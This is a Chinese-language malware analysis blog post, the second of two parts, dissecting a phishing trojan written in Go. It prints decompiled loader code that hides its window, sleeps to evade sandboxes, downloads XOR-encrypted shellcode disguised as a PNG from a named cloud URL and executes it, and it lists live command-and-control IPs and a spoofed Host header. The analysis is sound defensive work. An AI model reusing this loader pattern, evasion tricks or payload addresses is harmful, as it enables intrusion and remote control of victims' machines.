记一次钓鱼邮件-分析(下)

admin 2023年6月15日09:15:50评论45 views字数 4309阅读14分21秒阅读模式

免责声明

由于传播、利用本公众号Drt安全战队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Drt安全战队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

前言


上一篇我们已经对初始的木马进行了静态的分析,以及动态的分析。最终我们可以知道初始的木马只是做了一些文件释放的操作
1.复制了Cmd.exe——>BpLnfg.exe
2.写了一个xxx.pdf的文件并调用BpLnfg.exe打开
3.释放了最终的shellcode木马并调用BpLnfg.exe执行
4.通过BpLnfg.exe执行了 ping 8.8.8.8判断是否出网,并删除了初始木马

思路

按照上一篇的思路,我们还是要对最终的木马做以下的步骤 如果按照我们的判断生成的exe文件是shellcode的木马 那么我们重要的地方是在于动态分析。
1.沙箱分析
2.静态分析
3.动态分析

沙箱分析

按照我们上一次的分析来到创建木马文件的目录

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

这次的沙箱分析并没有给到我们很多信息

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

沙箱分析的结果并没有给出外联地址在上篇已经有提到,创建该文件的时候可能存在过沙箱的手法比如说延时--sleep现在只是一种猜测具体还需要去进行验证

静态分析

依旧是从主函数入手

 {  main_Dlskfhoiuodgnr();  main_Svngeuithbgehegds();  if ( !v8 )  {    os_Exit(0LL);LABEL_16:    runtime_deferreturn(v10);    return;  }  v11 = main_Svfregtehbys((__int64)&byte_671B6B, 92LL);  net_http_Get(v11, v13);  if ( v13 )  {    main_checkErr();    v0 = v18;  }  runtime_deferproc(24, *(_QWORD *)(v0 + 64) + 24LL);  if ( !v1 )  {    v14 = runtime_convI2I((__int64)&RTYPE_io_Reader, *(_QWORD *)(v18 + 64), *(_QWORD *)(v18 + 72));    io_ioutil_ReadAll();    if ( *((_QWORD *)&v14 + 1) )    {      main_checkErr();      v2 = v16;      v3 = v19;    }    v15 = -205177814;    for ( i = 0LL; i < v2; ++i )    {      if ( (unsigned __int64)(i % 4) >= 4 )      {        runtime_panicindex();        BUG();      }      *(_BYTE *)(v3 + i) ^= *((_BYTE *)&v15 + i % 4);    }    v20 = runtime_newobject((__int64)&RTYPE__4_uintptr);    ((void (*)(void))loc_4554B4)();    v5 = v20;    *(_QWORD *)(v20 + 8) = v16;    v17 = syscall__ptr_Proc_Call(qword_7B3338, v5, 4LL, 4LL);    if ( !v17 )      main_checkErr();    v6 = (__int64 *)runtime_newobject((__int64)&RTYPE__3_uintptr);    *v6 = v17;    v7 = v16;    if ( !v16 )    {      runtime_panicindex();      BUG();    }    v6[1] = v19;    v6[2] = v7;    syscall__ptr_Proc_Call(qword_7B3330, (__int64)v6, 3LL, 3LL);    main_checkErr();    syscall_Syscall(v17, 0LL, 0, 0LL, 0LL);    goto LABEL_16;  }  runtime_deferreturn(v9); }

main_Dlskfhoiuodgnr()--隐藏运行窗口

void main_Dlskfhoiuodgnr(){  main_Shvssvdsvfdsbewwerbggf(0LL);}
void __golang main_Shvssvdsvfdsbewwerbggf(__int64 a1){  github_com_gonutz_ide_w32_GetConsoleWindow();  if ( v1 )  {    v4 = v1;    github_com_gonutz_ide_w32_GetWindowThreadProcessId(v1);    github_com_gonutz_ide_w32_GetCurrentProcessId();    if ( v2 == v3 )      github_com_gonutz_ide_w32_ShowWindowAsync(v4, a1);  }}
GetConsoleWindow()--返回值是与调用进程关联的控制台所使用的窗口的句柄;GetWindowThreadProcessId()--检索创建指定窗口的线程的标识符,以及创建该窗口的进程(可选)的标识符。GetCurrentProcessId--检索调用进程的进程标识符。ShowWindowAsync--显示/隐藏运行窗口
总的来说main_Dlskfhoiuodgnr这个函数与上篇当中的main_Hvdf_HCzKr()的做法是一模一样为了隐藏自己的运行窗口

main_Svngeuithbgehegds()

char main_Svngeuithbgehegds(){  main_Gvfdsgreb();  v6 = runtime_concatstring2(0LL, v2, v3, (__int64)&word_6653C2, 16LL);  v8 = main_Gvnsaiubfdsg(v6, v7);  v4 = main_Gvnsaiubfdsg((__int64)&word_66483A, 14LL);  v0 = v8 <= 20;  if ( v5 <= 5 )    ++v0;  if ( v4 > 20 )    v1 = v0;  else    v1 = v0 + 1;  if ( v5 <= 8 )    ++v1;  if ( v1 >= 3 )  {    time_Sleep(180000000000LL);    return 1;  }  else  {    if ( v1 == 2 )      time_Sleep(120000000000LL);    return 1;  }}
main_Gvfdsgreb()--获取环境变量
__int128 main_Gvfdsgreb(){  v5 = os_Getenv((__int64)&byte_66349B, 9LL);  os_Getenv((__int64)&byte_663125, 8LL);  v2 = runtime_concatstring2(0LL, v5);  v0 = v3;  v1 = v4;  if ( !v4 )  {    v0 = os_Getenv((__int64)&dword_663C7C, 11LL);    v1 = *((_QWORD *)&v2 + 1);  }  *(_QWORD *)&result = v0;  *((_QWORD *)&result + 1) = v1;  return result;}获取当前运行环境的环境变量
main_Gvnsaiubfdsg()--目录遍历
Dir = (_QWORD *)io_ioutil_ReadDir(a1, a2);  {    v14[0] = *(_QWORD *)(v10 + 8);    v14[1] = v11;    log_Fatal((__int64)v14, 1LL, 1LL);    return 0LL;  }  else  {    while ( v4 < v3 )    {      v12 = v4;      v13 = Dir;      if ( (*(unsigned __int8 (__golang **)(_QWORD))(*Dir + 24LL))(Dir[1]) )  }  return result;}ReadDir--读取以传入值命名的文件

记一次钓鱼邮件-分析(下)

net_http_Get()
go当中http的标准库
猜测是做了一个分离shellcode和loader的操作以达到分离免杀的效果

静态分析

入口点

疑问为什么ida反编译出来的地址和我们运行时的一样?不是有内存地址随机吗?  最简单的方法:  PE文件结构当中可选头部的DllCharacteristics可以对地址随机化进行关闭  通过CFF explorer打开可执行文件之后来到nt头部>可选头部>DllCharacteristics将其置为0即可  也就是将DllCharacteristics当中的DYNAMIC_BASE属性改为0就可以关闭内存地址随机化,方便静态和动态调试相结合。

记一次钓鱼邮件-分析(下)

这里使用插件将常用的api进行下断

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

当我一直往下跟的时候发现卡住了,程序在运行中,但是无法继续往下跟,那么就是木马进行了延时找一下它是怎么进行判断并且返回的

延时

从ida找到了 time_sleep的地址4462A0到xdebug下断点

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

可以直接让他在进入time_sleep的这块内存时就让其return

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

另存到桌面ttt.exe之后再将其丢到沙箱去分析

沙箱分析

1312459886.cos.ap-guangzhou.myqcloud.com

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

那么有可能这是远程获取shellcode伪装成的图片

将样本下载回来另存为1.bin,通过010打开查看一下发现是有明显的加密,不是一个正常的图片,那么基本可以确定是一个🐎

记一次钓鱼邮件-分析(下)

shellcode可以利用工具伪装成图片 https://github.com/Mr-Un1k0d3r/DKMC 然后在从图片当中读取shellcode Shellcode下载地址:https://ksu-1312459886.cos.ap-guangzhou.myqcloud.com/logo_320x320.png

我们在动态调试的时候也能发现这个地址

记一次钓鱼邮件-分析(下)

接下来对传入进来的shellcode进行xor解密

记一次钓鱼邮件-分析(下)

在这里有一个问题,在分析到这里的时候已经已经过去了两周了,cs的地址估计是关停了,我在分析的时候导致shellcode执行的有问题,跟进不下去。后面的图片是部门大佬分析时的截图。开始执行解密后的shellcode

记一次钓鱼邮件-分析(下)

将木马进行内存加载

记一次钓鱼邮件-分析(下)

记一次钓鱼邮件-分析(下)

初始化回连地址,并设置Host为apimusic.163.com,通过自己构造https请求与服务端完成通讯。获得的回连地址有 https://61.139.65.249:443 https://112.3.31.147:443

记一次钓鱼邮件-分析(下)

总结

最近因为一些项目上的事情,导致一直没有时间将下篇完善,中间也因为shellcode的加载思考分析的烧脑壳。ida对木马的反编译有些没有编译到,需要手动自己对符号表进行恢复,github上面有工具,这里就不放出来了。这次的钓鱼邮件分析也就到这里结束了,各位师傅如果觉得有问题的地方,可以提出来一起探讨一下。

原文始发于微信公众号(Drt安全战队):记一次钓鱼邮件-分析(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月15日09:15:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次钓鱼邮件-分析(下)http://cn-sec.com/archives/1807922.html

发表评论

匿名网友 填写信息